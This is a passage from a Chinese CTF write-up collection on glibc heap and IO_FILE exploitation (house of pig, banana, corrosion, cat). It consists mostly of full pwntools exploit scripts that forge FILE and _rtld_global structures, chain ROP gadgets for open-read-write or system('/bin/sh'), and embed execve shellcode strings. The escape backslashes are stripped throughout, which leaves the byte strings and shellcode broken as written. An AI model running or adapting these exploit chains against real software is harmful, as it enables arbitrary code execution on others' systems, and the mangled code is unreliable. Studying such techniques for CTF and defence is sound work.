change(heap_base+0x7c0,'flag'.ljust(0x10,'x00'))
change(heap_base+0x800,p64(heap_base+0x7c0)+p64(pop_rsi))# ORW
change(heap_base+0x810,p64(0)+p64(Open))
change(heap_base+0x820,p64(pop_rdi)+p64(3))
change(heap_base+0x830,p64(pop_rsi)+p64(heap_base+0x900))
change(heap_base+0x840,p64(pop_rdx)+p64(0x50))
change(heap_base+0x850,p64(Read)+p64(pop_rdi))
change(heap_base+0x860,p64(1)+p64(Write))
edit(1,p64(free_hook))
edit(0,p64(1))
add(2) # _IO_flush_all_lockp
p.interactive()
house of pig
(Tcache Stashing Unlink/2.31uaf)
漏洞点在于mpp+0x128为free的标志位
free后会置1
而在保存用户环节却没有保存这一元素
导致在加载时此位置被重置,实现UAF
from pwn import *
context.arch='amd64'
p = process('./pig')
elf = ELF("pig")
libc = elf.libc
def dbg():
gdb.attach(p)
pause()
#-----------------------------------------------------------------------------------------
s = lambda data :p.send(str(data))
sa = lambda text,data :p.sendafter(text, str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda text,data :p.sendlineafter(text, str(data))
r = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
uu32 = lambda :u32(p.recvuntil("xf7")[-4:].ljust(4,"x00"))
uu64 = lambda :u64(p.recvuntil("x7f")[-6:].ljust(8,"x00"))
lg = lambda s :p.success('%s -> 0x%x' % (s, eval(s)))
sh_x86_18="x6ax0bx58x53x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80"
sh_x86_20="x31xc9x6ax0bx58x51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80"
sh_x64_21="xf7xe6x50x48xbfx2fx62x69x6ex2fx2fx73x68x57x48x89xe7xb0x3bx0fx05"
#-----------------------------------------------------------------------------------------
def menu(cmd):
sla('Choice: ',cmd)
def add(size, content):
menu(1)
sla('size: ',size)
sa('message: ',content)
def show(idx):
menu(2)
sla('index: ',idx)
def edit(idx, content):
menu(3)
sla('index: ',idx)
sa('message: ',content)
def free(idx):
menu(4)
sla('index: ',idx)
def change(user):
menu(5)
if user == 1:
sla('user:n', 'Ax01x95xc9x1c')
elif user == 2:
sla('user:n', 'Bx01x87xc3x19')
elif user == 3:
sla('user:n', 'Cx01xf7x3cx32')
#--------------------prepare for tcache stashing unlink attack-------------
#首先是布置tcache stashing unlink attack,在tcachebin中准备五个chunk,在smallbin中准备两个chunk
change(2)
for i in range(5):#B0-B4
add(0x90,'a'*0x30)
free(i)
change(1)
add(0x130,'a'*0x60)#A0
for i in range(1,8):#A1-A7
add(0x130,'a'*0x60)
free(i)
free(0)
change(2)
add(0x90,'a'*0x30)#B5
change(1)
add(0x150,'a'*0x70)#A8
for i in range(9,16):#A9-A15
add(0x150,'a'*0x70)
free(i)
free(8)
change(2)
add(0xb0,'a'*0x30)#B6
change(1)
add(0x430,'a'*0x160)#A16
#-----------------------leak libc and heap address-------------------------
# 然后是泄露libc_base和heap_base
# 在上一步的最后,我们申请了一个0x430大小的堆,用来将chunk放入smallbin中,这一步中,我们申请一个chunk(不影响bin),将0x430大小的堆和top chunk隔开,然后释放掉它,两次change,然后直接show就可以打印libc上的值。heap_base泄露tcache上的堆即可
change(2)
add(0xf0,'a'*0x50)#B7
change(1)
free(16)
change(2)
change(1)
show(16)
ru("The message is: ")
libc_base=u64(p.recv(6).ljust(8,'x00'))-(0x7ff63856abe0-0x7ff63837f000)
lg("libc_base")
system=libc_base+libc.sym['system']
lg("system")
free_hook=libc_base+libc.sym['__free_hook']
change(2)
show(1)
ru("The message is: ")
heap_base=u64(p.recv(6).ljust(8,'x00'))-0x1eb0
lg("heap_base")
#-----------------first large bin attack---------------------------
#第一次largebin attack,将堆地址写到了free_hook-8的位置,为了通过tcache stashing unlink attack的检查
add(0x440,'a'*0x160)#B8
change(1)
add(0x430,'a'*0x160)#A17
add(0x430,'a'*0x160)#A18
add(0x430,'a'*0x160)#A19
change(2)
free(8)
add(0x450,'a'*0x170)#B9
change(1)
free(17)
change(2)
edit(8,p64(0)+p64(free_hook-0x28)+'n')
change(3)
add(0xa0,'a'*0x30)#C0
change(2)
edit(8,p64(heap_base+0x3c00)*2+'n')
#----------------second large bin attack---------------------------
# 第二次largebin attack,将一个堆地址写到_IO_list_all上,从而伪造FILE
change(3)
add(0x380,'a'*0x120)#C1
IO_list_all = libc_base + libc.sym['_IO_list_all']
change(1)
free(19)
change(2)
edit(8,p64(0)+p64(IO_list_all-0x20)+'n')
change(3)
add(0xa0,'a'*0x30)#C2
change(2)
edit(8,p64(heap_base+0x3c00)*2+'n')
#----------------tcache stashing unlink attack----------------------
change(1)
fd=heap_base+0x2260
edit(8,'a'*0x40+p64(fd)+p64(free_hook-0x20)+'n')
# 由于这里写是跳行写,所以要申请一个正常输入的堆,这里将其地址链入IO_chain
change(3)
payload = 'x00'*0x18 + p64(heap_base+0x4540)
payload = payload.ljust(0x160, 'x00')
add(0x440, payload)
add(0x90,'a'*0x30)
# IO攻击
# 因为其插值 0x18*2+100 等于0x94,即会申请到0xa0大小的chunk即free_hook-0x10
# 然后copy['/bin/shx00' + p64(system)*2]到free_hook-0x10
str_jumps=libc_base+(0x7ff9fa4a1560-0x7ff9fa2b4000)
fake_IO_FILE = p64(0)*2
fake_IO_FILE += p64(0)# _IO_write_base
fake_IO_FILE += p64(0xffffffffffff) #_IO_write_ptr = 0xffffffffffff
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(heap_base+0x4620) #_IO_buf_base
fake_IO_FILE += p64(heap_base+0x4638) #_IO_buf_end
fake_IO_FILE = fake_IO_FILE.ljust(0xb0, 'x00')
fake_IO_FILE += p64(0)
fake_IO_FILE = fake_IO_FILE.ljust(0xc8, 'x00')
fake_IO_FILE += p64(str_jumps)
payload = fake_IO_FILE + '/bin/shx00' + p64(system)*2
sa('Gift:', payload)
menu(5)
sla('user:n', '')# exit
p.interactive()
eznote(方案二/2.35)
题目一开始calloc了一个堆块来进行堆块管理,add的时候可以申请8个chunk,在管理堆中发生溢出,导致第一个堆的size头被第8个堆的管理信息给覆盖,可供堆合并,实现堆复用
其它功能只能对前7个堆块进行管理
题目的主要思路是利用堆复用泄露地址,和实施largebinattack,劫持IO_list_all,然后伪造IO打libc.memcpy_got为system,触发刷新流。
# _*_ coding:utf-8 _*_
from pwn import *
p = process("./eznote")
elf = ELF("./eznote")
libc = elf.libc
def dbg():
gdb.attach(p)
pause()
#-----------------------------------------------------------------------------------------
s = lambda data :p.send(str(data))
sa = lambda text,data :p.sendafter(text, str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda text,data :p.sendlineafter(text, str(data))
r = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
uu32 = lambda :u32(p.recvuntil("xf7")[-4:].ljust(4,"x00"))
uu64 = lambda :u64(p.recvuntil("x7f")[-6:].ljust(8,"x00"))
lg = lambda s :p.success('%s -> 0x%x' % (s, eval(s)))
sh_x86_18="x6ax0bx58x53x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80"
sh_x86_20="x31xc9x6ax0bx58x51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80"
sh_x64_21="xf7xe6x50x48xbfx2fx62x69x6ex2fx2fx73x68x57x48x89xe7xb0x3bx0fx05"
#-----------------------------------------------------------------------------------------
def add(size,con):
sla("> ",1)
sla("Size: ",size)
p.sendlineafter("Content: ",con)
def edit(idx,con):
sla("> ",3)
sla("Idx: ",idx)
p.sendlineafter("Content: ",con)
def show(idx):
sla("> ",4)
sla("Idx: ",idx)
def dele(idx):
sla("> ",2)
sla("Idx: ",idx)
add(0x438,'0'*0x438)# 0
add(0x408,'1'*0x408)# 1
add(0x448,'2'*0x448)# 2
add(0x418,'3'*0x418)# 3
add(0x418,'4'*0x418)# 4
add(0x408,'5'*0x408)# 5
add(0x408,'6'*0x408)# 6
add(0xca1,'a')# 7
dele(0)
dele(3)# 0123
add(0x438,'a'*0x438)# 0
add(0x408,'a'*0x400)# 3-1
dele(1)
show(3)
ru('Note3:n')
key = u64(p.recv(5).ljust(8, 'x00'))
lg('key')
heap_base = key << 12
lg('heap_base')
add(0x448,'a'*0x448)# 1-2
dele(4)# 3and4
add(0x838,'a'*0x838)# 4-3and4
dele(2)
show(1)
libc_base = uu64()-0x219ce0
IO_list_all = libc_base + 0x21a680
IO_str_jumps = libc_base + 0x2166c0
memcpy_got = libc_base + 0x0000000000219160
memset = libc_base + libc.sym['memset']
system = libc_base + 0x50d60
lg('IO_list_all')
#-----------------------------------------------------------------
add(0x1000,'a'*0x1000)# 2
edit(1,p64(libc_base+0x21a0e0)*2+p64(0)+p64(IO_list_all-0x20))
dele(0)
add(0x1000,'a'*0x1000)# 0
dele(0)
add(0x438, 'a'*0x438)# 0
#-----------------------------------------------------------------
new_size = 0x408
copy_heap_addr = heap_base+0x10
next_chain = heap_base+0x2d00-0x10
old_blen = (new_size-100)//2
fake_IO_FILE = p64(0)*2
fake_IO_FILE += p64(0)# _IO_write_base = 0
fake_IO_FILE += p64(0xffffffffffffffff)# _IO_write_ptr = 0xffffffffffffffff
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(copy_heap_addr)# _IO_buf_base
fake_IO_FILE += p64(copy_heap_addr+old_blen)# _IO_buf_end
fake_IO_FILE = fake_IO_FILE.ljust(0x58,'x00')
fake_IO_FILE += p64(next_chain)# _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x78,'x00')
fake_IO_FILE += p64(heap_base)# _lock = writable address
fake_IO_FILE = fake_IO_FILE.ljust(0xB0,'x00')
fake_IO_FILE += p64(0)# _mode = 0
fake_IO_FILE = fake_IO_FILE.ljust(0xC8,'x00')
fake_IO_FILE += p64(IO_str_jumps)
new_size = 0x288
copy_heap_addr = heap_base+0x790
next_chain = heap_base+0x2dd0-0x10
old_blen = (new_size-100)//2
fake_IO_FILE2 = p64(0)*2
fake_IO_FILE2 += p64(0)# _IO_write_base = 0
fake_IO_FILE2 += p64(0xffffffffffffffff)# _IO_write_ptr = 0xffffffffffffffff
fake_IO_FILE2 += p64(0)
fake_IO_FILE2 += p64(copy_heap_addr)# _IO_buf_base
fake_IO_FILE2 += p64(copy_heap_addr+old_blen)# _IO_buf_end
fake_IO_FILE2 = fake_IO_FILE2.ljust(0x58,'x00')
fake_IO_FILE2 += p64(next_chain)# _chain
fake_IO_FILE2 = fake_IO_FILE2.ljust(0x78,'x00')
fake_IO_FILE2 += p64(heap_base)# _lock = writable address
fake_IO_FILE2 = fake_IO_FILE2.ljust(0xB0,'x00')
fake_IO_FILE2 += p64(0)# _mode = 0
fake_IO_FILE2 = fake_IO_FILE2.ljust(0xC8,'x00')
fake_IO_FILE2 += p64(IO_str_jumps)
new_size = 0x128
copy_heap_addr = heap_base+0x1830
next_chain = heap_base+0x2e90
old_blen = (new_size-100)//2
fake_IO_FILE3 = p64(0)*2
fake_IO_FILE3 += p64(0)# _IO_write_base = 0
fake_IO_FILE3 += p64(0xffffffffffffffff)# _IO_write_ptr = 0xffffffffffffffff
fake_IO_FILE3 += p64(0)
fake_IO_FILE3 += p64(copy_heap_addr)# _IO_buf_base
fake_IO_FILE3 += p64(copy_heap_addr+old_blen)# _IO_buf_end
fake_IO_FILE3 = fake_IO_FILE3.ljust(0x58,'x00')
fake_IO_FILE3 += p64(next_chain)# _chain
fake_IO_FILE3 = fake_IO_FILE3.ljust(0x78,'x00')
fake_IO_FILE3 += p64(heap_base)# _lock = writable address
fake_IO_FILE3 = fake_IO_FILE3.ljust(0xB0,'x00')
fake_IO_FILE3 += p64(0)# _mode = 0
fake_IO_FILE3 = fake_IO_FILE3.ljust(0xC8,'x00')
fake_IO_FILE3 += p64(IO_str_jumps)
new_size = 0x108
copy_heap_addr = libc_base
next_chain = 0
old_blen = (new_size-100)//2
fake_IO_FILE4 = p64(0)*2
fake_IO_FILE4 += p64(0)# _IO_write_base = 0
fake_IO_FILE4 += p64(0xffffffffffffffff)# _IO_write_ptr = 0xffffffffffffffff
fake_IO_FILE4 += p64(0)
fake_IO_FILE4 += p64(copy_heap_addr)# _IO_buf_base
fake_IO_FILE4 += p64(copy_heap_addr+old_blen)# _IO_buf_end
fake_IO_FILE4 = fake_IO_FILE4.ljust(0x58,'x00')
fake_IO_FILE4 += p64(next_chain)# _chain
fake_IO_FILE4 = fake_IO_FILE4.ljust(0x78,'x00')
fake_IO_FILE4 += p64(heap_base)# _lock = writable address
fake_IO_FILE4 = fake_IO_FILE4.ljust(0xB0,'x00')
fake_IO_FILE4 += p64(0)# _mode = 0
fake_IO_FILE4 = fake_IO_FILE4.ljust(0xC8,'x00')
fake_IO_FILE4 += p64(IO_str_jumps)
edit(3,p16(1)*0x20 + p64(memcpy_got-0x10)*0x30)# 0x780
edit(1,fake_IO_FILE)# 0xb90 largebin
edit(2,fake_IO_FILE2 + fake_IO_FILE3 + fake_IO_FILE4)# 0x1000
edit(5,'/bin/shx00'*2+p64(system)+'x00'*0x20+p64(memset))# 410
dele(6)# 0xc40
sla("> ",5)
p.interactive()
house of banana
利用链
exit-> __run_exit_handlers->_dl_fini->_dl_fini+520(setcontext)
适用情况
由于利用的是exit,要求比较宽松
满足任一条件即可:
1.程序能够显式的执行exit函数
2.程序通过libc_start_main启动的主函数,且主函数能够结束
利用原理和技巧杂谈
会在_dl_fini中调用(fini_t)array[i]这个数组
if (l->l_info[DT_FINI_ARRAY] != NULL)
{
ElfW(Addr) *array = (ElfW(Addr) *) (l->l_addr + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr)));
while (i-- > 0)
((fini_t) array[i]) ();
}
我们要做的就是伪造rtld_global结构体,篡改引索,最后执行到我们伪造的(fini_t)array[i]。
ha1vk师傅也给出了pochttps://www.anquanke.com/post/id/222948这里主要讲在pwn题里实际场景的应用了。
要注意的点:
1._rtld_global+8的位置一般为4,注意输入时是否带回车导致覆盖掉该部分,会影响结构体遍历,可能会导致该错误
2.有时候可能因为栈平衡的原因,补一个在伪造中补一个ret即可
还是husk那道题,这里给一个2.31下 orw绕过沙箱的exp,最后利用部分,可以在ret地址下断点。
# 2.31
# _*_ coding:utf-8 _*_
from pwn import *
context.arch='amd64'
p = process('./husk')
elf = ELF("./husk")
libc = elf.libc
def dbg():
gdb.attach(p)
pause()
#-----------------------------------------------------------------------------------------
s = lambda data :p.send(str(data))
sa = lambda text,data :p.sendafter(text, str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda text,data :p.sendlineafter(text, str(data))
r = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
uu32 = lambda :u32(p.recvuntil("xf7")[-4:].ljust(4,"x00"))
uu64 = lambda :u64(p.recvuntil("x7f")[-6:].ljust(8,"x00"))
lg = lambda s :p.success('%s -> 0x%x' % (s, eval(s)))
sh_x86_18="x6ax0bx58x53x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80"
sh_x86_20="x31xc9x6ax0bx58x51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80"
sh_x64_21="xf7xe6x50x48xbfx2fx62x69x6ex2fx2fx73x68x57x48x89xe7xb0x3bx0fx05"
#-----------------------------------------------------------------------------------------
def dbg():
gdb.attach(p)
pause()
def add(size,con):
sla('>>','1')
sla('Size:',size)
p.sendafter('Content:',con)
def dele(idx):
sla('>>','2')
sla('Index:',idx)
def show(idx):
sla('>>','3')
sla('Index:',str(idx))
def edit(idx,con):
sla('>>','4')
sla('Index:',str(idx))
p.sendafter('Content:',con)
#-------------------------leak----------------------------
add(0x520,'e4l4') #0
add(0x428,'e4l4') #1
add(0x500,'e4l4') #2
add(0x428,'e4l4') #3
dele(0)
add(0x600,'c'*0x600) #4
add(0x600,'c'*0x600) #5
show(0)
ru('Content: ')
main_arena = u64(p.recv(6).ljust(8,'x00'))
libc_base = main_arena-0x1ec010
lg("libc_base")
rtl_global = libc_base + 0x222060
lg("rtl_global")
setcontext = libc_base + libc.sym['setcontext'] + 61
ret = libc_base + libc.sym['setcontext'] + 0x14E
lg('ret')
pop_rdi = libc_base + 0x0000000000026b72
pop_rsi = libc_base + 0x0000000000027529
pop_rdx_r12 = libc_base + 0x000000000011c1e1
Open=libc_base+libc.sym['open']
Read=libc_base+libc.sym['read']
Write=libc_base+libc.sym['write']
edit(0,'a'*0x10)
show(0)
p.recvuntil('a'*0x10)
heap_base = u64(p.recv(6).ljust(8,'x00'))-0x290
lg("heap_base")
edit(0,p64(main_arena)*2)
#-------------------------------------------------------------
dele(2)
edit(0,p64(main_arena)*2 + p64(0) + p64(rtl_global - 0x20))
add(0x600,'large bin attack!!')
fake_heap_addr = heap_base + 0xbf0
flag_addr = fake_heap_addr+0xb8
orw = p64(pop_rsi)+p64(0)+p64(Open)
orw += p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(heap_base+0xb50)+p64(pop_rdx_r12)+p64(0x50)+p64(0)+p64(Read)
orw += p64(pop_rdi)+p64(1)+p64(Write)+"flag".ljust(8,'x00')
payload = p64(0) + p64(libc_base + 0x223740) + p64(0) + p64(fake_heap_addr)# _rtld_global+2440
payload += p64(setcontext) + p64(ret)# rdx_addr/call rdx
payload += p64(flag_addr)
payload += orw# 0x78
payload = payload.ljust(0xc8,'x00')
payload += p64(fake_heap_addr + 0x28 + 0x18)
payload += p64(pop_rdi)
payload = payload.ljust(0x100,'x00')
payload += p64(fake_heap_addr + 0x10 + 0x110)*0x3
payload += p64(0x10)
payload = payload.ljust(0x31C - 0x10,'x00')
payload += 'x08'
edit(2,payload)
edit(1,'a'*0x420 + p64(fake_heap_addr + 0x20))
p.sendlineafter('>>','5')
p.sendlineafter('name:','e4l4')
p.interactive()
husk(2.30uaf)
西湖论剑2020决赛 husk
这题简直像这个方法的例题。。
ha1vk师傅发现的一种做法,其实不算IO利用,这里写一起了
题目是2.30的版本
漏洞点
这里贴一下这道题的system解,题目比较标准
这个解相当于一个范式
这里分析一下伪造_rtld_global的部分
#2.30 system
# _*_ coding:utf-8 _*_
from pwn import *
context.arch='amd64'
p = process('./husk')
elf = ELF("./husk")
libc = elf.libc
def dbg():
gdb.attach(p)
pause()
#-----------------------------------------------------------------------------------------
s = lambda data :p.send(str(data))
sa = lambda text,data :p.sendafter(text, str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda text,data :p.sendlineafter(text, str(data))
r = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
uu32 = lambda :u32(p.recvuntil("xf7")[-4:].ljust(4,"x00"))
uu64 = lambda :u64(p.recvuntil("x7f")[-6:].ljust(8,"x00"))
lg = lambda s :p.success('%s -> 0x%x' % (s, eval(s)))
sh_x86_18="x6ax0bx58x53x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80"
sh_x86_20="x31xc9x6ax0bx58x51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80"
sh_x64_21="xf7xe6x50x48xbfx2fx62x69x6ex2fx2fx73x68x57x48x89xe7xb0x3bx0fx05"
#-----------------------------------------------------------------------------------------
def dbg():
gdb.attach(p)
pause()
def add(size,con):
sla('>>','1')
sla('Size:',size)
p.sendafter('Content:',con)
def dele(idx):
sla('>>','2')
sla('Index:',idx)
def show(idx):
sla('>>','3')
sla('Index:',str(idx))
def edit(idx,con):
sla('>>','4')
sla('Index:',str(idx))
p.sendafter('Content:',con)
#-------------------------leak----------------------------
add(0x520,'e4l4') #0 # 这里size会影响下边的偏移
add(0x428,'e4l4') #1
add(0x500,'e4l4') #2
add(0x428,'e4l4') #3
dele(0)
add(0x600,'c'*0x600) #4
add(0x600,'c'*0x600) #5
show(0)
ru('Content: ')
main_arena = u64(p.recv(6).ljust(8,'x00'))
libc_base = main_arena - 0x1eb010
lg("libc_base")
rtl_global = libc_base + 0x220060
lg("rtl_global")
setcontext = libc_base + libc.sym['setcontext'] + 61
ret = libc_base + libc.sym['setcontext'] + 0x14E
pop_rdi = libc_base + 0x00000000000277e9
bin_sh = libc_base + libc.search('/bin/shx00').next()
system = libc_base + libc.sym['system']
lg("system")
edit(0,'a'*0x10)
show(0)
p.recvuntil('a'*0x10)
heap_base = u64(p.recv(6).ljust(8,'x00'))-0x290
lg("heap_base")
edit(0,p64(main_arena)*2)
#-------------------------------------------------------------
dele(2)
edit(0,p64(main_arena)*2 + p64(0) + p64(rtl_global - 0x20))
add(0x600,'large bin attack!!')
fake_heap_addr = heap_base + 0xbf0# rtl_global填的地址
# 这里这个地址用于调用原结构题的链,不用像POC里伪造4个链
# 我找的方法主要是先找 _rtld_global,然后找到_ns_loaded字段
# 去引索 l_next 即我们需要的值
payload = p64(0) + p64(libc_base + 0x221730)# _rtld_global+2440
payload += p64(0) + p64(fake_heap_addr)
payload += p64(setcontext) + p64(ret)# 用于call|这个地址会被赋值为rdx
payload += p64(bin_sh)
payload += p64(0)
payload += p64(system)
payload += 'x00'*0x80
payload += p64(fake_heap_addr + 0x28 + 0x18)
payload += p64(pop_rdi)
payload = payload.ljust(0x100,'x00')
payload += p64(fake_heap_addr + 0x10 + 0x110)*0x3
payload += p64(0x10)
payload = payload.ljust(0x31C - 0x10,'x00')
payload += p8(0x8)
edit(2,payload)
edit(1,'a'*0x420 + p64(fake_heap_addr + 0x20))
sla('>>','5')
sla('name:','e4l4')
p.interactive()
note2
来自2022柏鹭杯pwn2,2.35_0ubuntu3.1的版本
题目限制了malloc的size范围,UAF漏洞,并且没有edit功能,这里小size就用house of botcake来实现任意地址申请
后续就考虑house of banana,做题的时候因为fgets回车输入导致rtld_gloabl某些变量被覆盖,导致出错,要注意。
# _*_ coding:utf-8 _*_
from pwn import *
import sys
import struct
import os
import hashlib
from hashlib import sha256
# context.log_level = "debug"
context.arch = "amd64"
context.terminal = ['tmux', 'splitw', '-h']
p = process("./note2")
elf = ELF("./note2")
libc = ELF("./libc.so.6")
def dbg():
gdb.attach(p)
pause()
#-----------------------------------------------------------------------------------------
s = lambda data :p.send(str(data))
sa = lambda text,data :p.sendafter(text, str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda text,data :p.sendlineafter(text, str(data))
r = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
ia = lambda :p.interactive()
hs256 = lambda data :sha256(str(data).encode()).hexdigest()
l32 = lambda :u32(p.recvuntil("xf7")[-4:].ljust(4,"x00"))
l64 = lambda :u64(p.recvuntil("x7f")[-6:].ljust(8,"x00"))
uu32 = lambda :u32(p.recv(4).ljust(4,'x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,'x00'))
int16 = lambda data :int(data,16)
lg = lambda s :p.success('%s -> 0x%x' % (s, eval(s)))
#-----------------------------------------------------------------------------------------
def add(idx,size,con=''):
sla("> ",1)
sla("> ",idx)
sla("> ",size)
p.sendlineafter("Enter content: ",con)
def show(idx):
sla("> ",3)
sla("> ",idx)
def dele(idx):
sla("> ",2)
sla("> ",idx)
for i in range(10):
add(i,0x90)
for i in range(8):
dele(i)
# dele(0)
show(7)
libc_base = l64()-0x219ce0
lg('libc_base')
ret = libc_base + 0x0000000000029cd6
pop_rdi = libc_base +0x000000000002a3e5
pop_rsi = libc_base +0x000000000002be51
pop_rdx_r12 = 0x000000000011f497 + libc_base
setcontext = libc_base + libc.sym['setcontext']+61
rtld_global = libc_base + 0x26d040
bin_sh = libc_base + libc.search('/bin/shx00').next()
system = libc_base + libc.sym['system']
IO_list_all = libc_base + 0x21a680
IO_wfile_jumps = libc_base + 0x2160c0
lg('rtld_global')
lg("system")
lg('IO_list_all')
lg('ret')
show(0)
key = u64(p.recv(5).ljust(8,'x00'))
lg("key")
heap_base = key<<12
lg("heap_base")
dele(8)
add(0,0x90)
dele(8)
add(1,0xc0,'a'*0xa0+p64((rtld_global)^key))
add(2,0x90)
add(3,0x90,p64(heap_base+0x8d0)+p64(4)[:-1])
dele(9)
fake_heap_addr = heap_base + 0x8d0# rtl_global填的地址
payload = p64(0) + p64(libc_base + 0x26e890)# _rtld_global+2440
payload += p64(0) + p64(fake_heap_addr)
payload += p64(setcontext) + p64(ret)# 用于call|这个地址会被赋值为rdx
payload += p64(bin_sh)
payload += p64(ret)
payload += p64(system)
payload += 'x00'*0x80
payload += p64(fake_heap_addr + 0x28 + 0x18)
payload += p64(pop_rdi)
payload = payload.ljust(0x100,'x00')
payload += p64(fake_heap_addr + 0x10 + 0x110)*0x3
payload += p64(0x10)
payload = payload.ljust(0x31C - 0x10,'x00')
payload += p8(0x8)+'x00'*8
add(4,0x200,payload)
add(5,0x200,payload[0x210:])
add(6,0x98,'a'*0x90+p64(fake_heap_addr + 0x20))
sla("> ",4)
ia()
House of Corrosion
(打global_max_fast)
house of corrosion 可以实现任意地址写任意值,算是largebinattack的上位,主要利用手法:
前置条件是劫持global_max_fast为大值
1.计算目标位置偏移size,申请相应size的堆(也可以直接伪造)
p &main_arena.fastbinsY
size位 = (delta * 2) + 0x20 //delta为目标地址与fastbinY的offset
2.free掉堆块(此时目标位置会写入该堆块的地址)
编辑堆块的fd指针为要写入的值
3.申请回堆块实现攻击
在手里没有地址的情况下也可以实现任意地址写堆地址
作为一种工具,可以和多种技巧相结合:
当在程序中没有 Show 函数
并且无法使用任意申请来打 stdout
可以考虑使用本方法来打 stdout
并且同时设置
_flags、_IO_write_base、_IO_write_ptr、_IO_write_end 这四个位置写堆地址。
house of kiwi /emma 要注意IO_jump的距离如果过远,会导致size位过大难以伪造或申请,这时候可以换成IO_helper_jumps这种距离更近的跳表。https://blog.e4l4.com/posts/Dest0g3
迎新赛/#dest0g3_heap
house of corrosion还可以实现libc上在fastbinsY之后的数据泄露。
利用 free 时会把此堆块置入 fastbin 的头部,所以 free 后在此堆块的 fd 位置的内容,就是目标位置之前的内容。通过show堆块就可以读取 LIBC 上某个位置的内容。
适用场景
劫持global_max_fast是前提,方法有很多
1.largebinattack写大值
2.直接申请到global_max_fast
3.题目自身功能
技巧杂谈
在适用这种方法配合别的IO打法,往往会用来改topchunksize配合触发错误流。先伪造一个0xc1的chunk,触发的时候要注意可申请size的范围,如果无范围那直接申请0xffff即可,有范围限制的话,就要注意把global_max_fast改回来。
for i in range(8):
edit(8, 'x00' * 0x88 + p64(0xC1) + 'x00' * 0x10)
dele(21)
edit(22, p64(0x80))
add(0x300)
house of cat
利用链
__malloc_assert->__fxprintf->locked_vfxprintf->__vfprintf_interna->__vfprintf_internal
->_IO_wfile_seekoff->_IO_switch_to_wget_mode(_IO_WOVERFLOW)
//_IO_WOVERFLOW是一个宏调用函数
//这里的rdi指向IO结构体头部
0x7f4cae745d34 <_IO_switch_to_wget_mode+4> mov rax, qword ptr [rdi + 0xa0]
0x7f4cae745d3f <_IO_switch_to_wget_mode+15> mov rdx, qword ptr [rax + 0x20]
0x7f4cae745d49 <_IO_switch_to_wget_mode+25> mov rax, qword ptr [rax + 0xe0]
0x7f4cae745d55 <_IO_switch_to_wget_mode+37> call qword ptr [rax + 0x18]
适用场景
2.31~
利用技巧
可以通过构造堆风水,可以实现仅用一次largebinattack实现无exit场景下的IO攻击(劫持stderr为堆地址)
同时也兼容FSOP,改偏移即可
注意事项:
1.进入_IO_wfile_seekoff函数时,rcx需是有值的,否则无法跳转_IO_switch_to_wget_mode
参考题目:https://blog.e4l4.com/posts/id=39/
参考文章:
https://bbs.pediy.com/thread-273895.htm
小结
暂时IO利用就到一段落了
后续遇到题就继续补充^^
-
2.23 版本:由于对 vtable 的位置没有检测,可以在任意可控位置伪造一个 vtable,可以利用例如house of orange(FSOP)
-
2.27 版本:对 vtable 的位置有了检测,考虑利用_IO_str_finsih 和 _IO_str_overflow这2张表,利用其中的某些函数修改为 system实现调用。
-
2.28 – 2.33 版本:2.31以后开始有了key,但因为还是有hook,可以考虑House of pig。也可以纯IO,house of kiwi。
-
2.34以后版本:没有了free_hook和malloc_hook,就不考虑劫持hook,根据是否可以执行刷新流,可以就者用house of banana,house of pig 以及house of emma,不可以就用house of kiwi
原文链接:https://blog.e4l4.com/posts/id=23/
原文始发于微信公众号(星盟安全):IO_file 利用总结